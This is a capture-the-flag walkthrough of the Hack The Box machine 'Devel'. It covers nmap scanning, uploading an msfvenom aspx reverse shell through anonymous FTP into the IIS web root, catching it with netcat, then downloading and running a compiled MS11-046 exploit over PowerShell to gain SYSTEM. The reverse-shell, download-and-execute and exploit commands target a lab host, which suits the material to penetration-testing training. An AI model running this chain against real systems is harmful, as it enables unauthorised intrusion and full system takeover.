Devel

Reconnaissance:

WAPPALYZER

Web frameworks

  • Microsoft ASP.NET

Web servers

  • IIS 7.5

Operating systems

  • Windows Server

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.5 

21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png

80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS7

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -p- 10.10.10.5


┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.5  

Enumeration:

FTP: TCP 21

The FTP server seems to be in the same root as the HTTP server. Why is that interesting? Well, if I upload a reverse shell in the FTP server, I might be able to run it through the web server. Not much to enumerate beyond what was in the nmap script results. I can log in with username “anonymous” and an empty password. No real files of interest.

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.10.5  
Name (10.10.10.5:kali): anonymous

To test out our theory, we’ll create a test.html file that displays the word “hello”.
$ echo "<html><body>hello</body></html>" > test.html 
$ cat test.html

Upload the file on the ftp server.
$ put test.html

List the files in the directory to confirm that the file has been uploaded.
$ ls

In the web browser, check if the test.html file is rendered in the web server.
http://10.10.10.5/test.html

Alright! This confirms that if we upload a file in the ftp server, and call it in the browser it will get executed by the web server. Our nmap scan showed that the web server is Microsoft IIS version 7.5. IIS web server generally either executes ASP or ASPX (ASP.NET). Since the version is 7.5, further googling tells us that it likely supports ASPX. Seeing that this server is running ASP.NET means I will likely need a .aspx webshell when I get to that.

Website: TCP 80

The page is just the default IIS page: http://10.10.10.5/

Foothold: Shell as web

MSFvenom

Let’s use MSFvenom to generate our reverse shell. MSFvenom is a framework that is largely used for payload generation. To display the format of payloads it supports, run the following command.

┌──(kali㉿kali)-[~]
└─$ msfvenom --list formats

The output shows that aspx is one of the options. Similarly, you can check the payload options with the following command. Since the machine we’re working with is Windows, we filter out the results to only show us Windows payloads.

┌──(kali㉿kali)-[~]
└─$ msfvenom --list payloads | grep windows

We’ll go with the general reverse shell since Meterpreter is not allowed in the OSCP. Run the following MSFvenom command to generate the aspx payload.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.8 LPORT=4444 -o reverse-shell.aspx
-p: payload
-f: format
LHOST: attack machine’s (kali) IP address
LPORT: the port you want to send the reverse shell across
-o: where to save the payload

Then, we’ll upload the generated payload on the FTP server and confirm that it has been uploaded.

put reverse-shell.aspx 
ls 

Start a netcat listener on the attack machine to receive the reverse shell when it’s executed.

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444

In the web browser load the reverse-shell.aspx file we uploaded in the FTP server.

┌──(kali㉿kali)-[~/Desktop]
└─$ ftp 10.10.10.5 

ftp> put reverse-shell.aspx

ftp> ls

http://10.10.10.5/reverse-shell.aspx

Go back to your listener to see if the shell connected back. Perfect! We have a shell and it’s running as iis apppool\web. Change the directory to the Users directory where the flags are stored.

c:\windows\system32\inetsrv> cd \users
c:\Users> ls
c:\Users> dir

Try to access the babis and Administrator user directories.

We don’t have permission, so let’s learn more about the operating system to see if we can escalate privileges.

c:\Users> systeminfo

We’re on a Microsoft Windows 7 build 7600 system. It’s fairly old and does not seem to have been updated, so it’s probably vulnerable to a bunch of exploits.

Privilege Escalation:

Let’s use google to look for exploits. The first two exploits displayed allow us to escalate privileges. The second exploit (MS11–046), has documentation on how to compile the source code, so we’ll go with that one.

Get the EDB-ID from the web page, so that we can use it to find the exploit in searchsploit. Update searchsploit to ensure you have all the latest vulnerabilities.

┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit -u 

Use the -m flag to look for the exploit 40564 and copy it to the current directory.

┌──(kali㉿kali)-[~/Desktop]
└─$ searchsploit -m 40564

Now, we need to compile the exploit. The compilation instructions are in th

# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the invoking shell/process
#   Exploit compiling (Kali GNU/Linux Rolling 64-bit):
#     - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
#   Exploit prerequisites:
#     - low privilege access to the target OS
#     - target OS not patched (KB2503665, or any other related
#       patch, if applicable, not installed - check "Related security
#       vulnerabilities/patches")
#   Exploit test notes:
#     - let the target OS boot properly (if applicable)
#     - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset

If you don’t have mingw-w64 installed, install it.

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get install mingw-w64 

Compile it using the listed command.

┌──(kali㉿kali)-[~/Desktop]
└─$ i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32

Alright, we have a compiled exploit. Now what is left is to transfer the exploit to the target (Devel) machine. Start up a server on the attack (Kali) machine.

┌──(kali㉿kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 9005

Netcat doesn’t seem to be installed on Windows, but powershell is. So, we’ll use it to transfer the file from our server to a directory we can write to.

c:\Users> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.8:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

The file is now in the Downloads directory. Execute it and check if the exploit worked and escalated our privileges.

c:\Users>cd \Users\Public\Downloads
c:\Users\Public\Downloads>dir

c:\Users\Public\Downloads>40564.exe
c:\Windows\System32>whoami
nt authority\system

We have system! Navigate to the user.txt file and output its content to get the user flag.

c:\Windows\System32>cd c:\Users\babis\Desktop
c:\Users\babis\Desktop>dir
c:\Users\babis\Desktop>type user.txt

Do the same thing for the root flag.

c:\Users\babis\Desktop>cd c:\Users\Administrator\Desktop 
c:\Users\Administrator\Desktop>dir
c:\Users\Administrator\Desktop>type root.txt

Last updated